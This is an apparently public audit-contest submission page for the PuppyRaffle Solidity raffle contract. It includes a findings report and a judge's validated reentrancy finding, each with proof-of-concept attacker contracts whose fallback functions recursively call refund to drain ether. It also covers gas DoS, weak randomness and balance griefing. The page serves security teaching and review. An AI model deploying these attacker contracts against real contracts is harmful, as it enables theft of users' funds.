Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: high
Valid

[H-01] Reentrancy Attack in refund Function

#[0xBreak Security Research] — Smart Contract Audit Report

Prepared by: 0xBreak

Project: PuppyRaffle (Security Contest)

Date: March 2026

[!ABSTRACT] Disclaimer
This report was prepared by 0xBreak. Our audit is a time-boxed security review of the smart contract logic. While we strive to find every vulnerability, an audit is not a guarantee of 100% security.

Summary Table

Severity Count
🔴 High 3
🟠 Medium 2
🔵 Low/Info 1

1. Executive Summary!

The PuppyRaffle smart contract was subjected to a detailed security review. Multiple high-severity vulnerabilities were discovered, ranging from Denial of Service (DoS) to Reentrancy attacks. These flaws put user funds and protocol stability at critical risk.

2. Risk Classification

Severity Description
High Direct theft of funds or complete protocol failure.
Medium Significant disruption or potential loss of funds under specific conditions.
Low Minor issues or optimization suggestions.

3. High Severity Findings

[H-01] Reentrancy Attack in refund Function

Severity: High (Critical)

Description:

The refund function uses sendValue (external call) before updating the player's status in the players array. Since the state change happens after the transfer, a malicious contract can call refund recursively until the contract is drained.

Vulnerable Code:

Solidity

function refund(uint256 playerIndex) public {
address playerAddress = players[playerIndex];
// ... checks ...
payable(msg.sender).sendValue(entranceFee); // <--- External call first
players[playerIndex] = address(0); // <--- State update second
}

Proof of Concept (0xBreak Exploit):

Solidity

contract ReentrancyAttack {
// ... setup ...
function attack() public payable {
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: entranceFee}(players);
atakerIndex = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(atakerIndex); // Trigger initial refund
}
function stealMoney() internal {
if (address(puppyRaffle).balance >= entranceFee) {
puppyRaffle.refund(atakerIndex); // Recursive call
}
}
fallback() external payable { stealMoney(); }
receive() external payable { stealMoney(); }
}

Recommendation: Implement the Checks-Effects-Interactions pattern. Move players[playerIndex] = address(0); before the sendValue call.


[H-02] Denial of Service (DoS) via Unbounded Loop in enterRaffle

Severity: High

Description:

The duplicate check in enterRaffle iterates through the entire players array for every new entrant. This results in O(n2) complexity. As more players join, the gas cost increases exponentially.

0xBreak Gas Analysis:

Based on the logs, we can see the massive increase in gas consumption:

  • 100 players: ~1.073e9 gas units.

  • 200 players: Significant spike (the second 100 uses even more gas than the first).

  • 500 players: Gas usage reaches levels that would likely exceed the Block Gas Limit in a live environment.

Proof of Concept:

Solidity

function testDosAttack() public {
// Entering first 100 users
puppyRaffle.enterRaffle{value: entranceFee * 100}(player);
// Entering next 100 users
// Result: gasStartTwo-gasEndTwo is significantly larger than gasStart-gasEnd
}

Recommendation: Replace the array iteration with a mapping(address => bool).


[H-03] Weak Randomness & Rarity Manipulation

Severity: High

Description:

The winnerIndex and NFT rarity are calculated using block.timestamp and block.difficulty. These values are visible in the mempool and can be predicted.

Attack Scenario:

A hacker can pre-calculate the results of the keccak256 hash. If the outcome is not a "Legendary" NFT or if they are not the winner, they can revert the transaction or choose not to call selectWinner until the block.timestamp aligns with their desired outcome.

Vulnerable Code:

Solidity

uint256 winnerIndex = uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;

Recommendation: Use Chainlink VRF (Verifiable Random Function) for secure, tamper-proof randomness.


4. Medium & Low Severity Findings

[M-01] Integer Overflow in totalFees (Solidity < 0.8.0)

The use of uint64 for totalFees is dangerous. Given the version 0.7.6, an overflow will not revert. If the protocol becomes popular, totalFees will reset to 0, losing all profit.

[M-02] Balance Poisoning (Griefing) in withdrawFees

The strict check address(this).balance == uint256(totalFees) allows any attacker to lock the owner's fees by sending 1 wei via selfdestruct.


Auditor Notes: This report was compiled by 0xBreak. The findings highlight critical architectural flaws that require immediate refactoring before any mainnet deployment.

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 5 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[H-02] Reentrancy Vulnerability In refund() function

## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!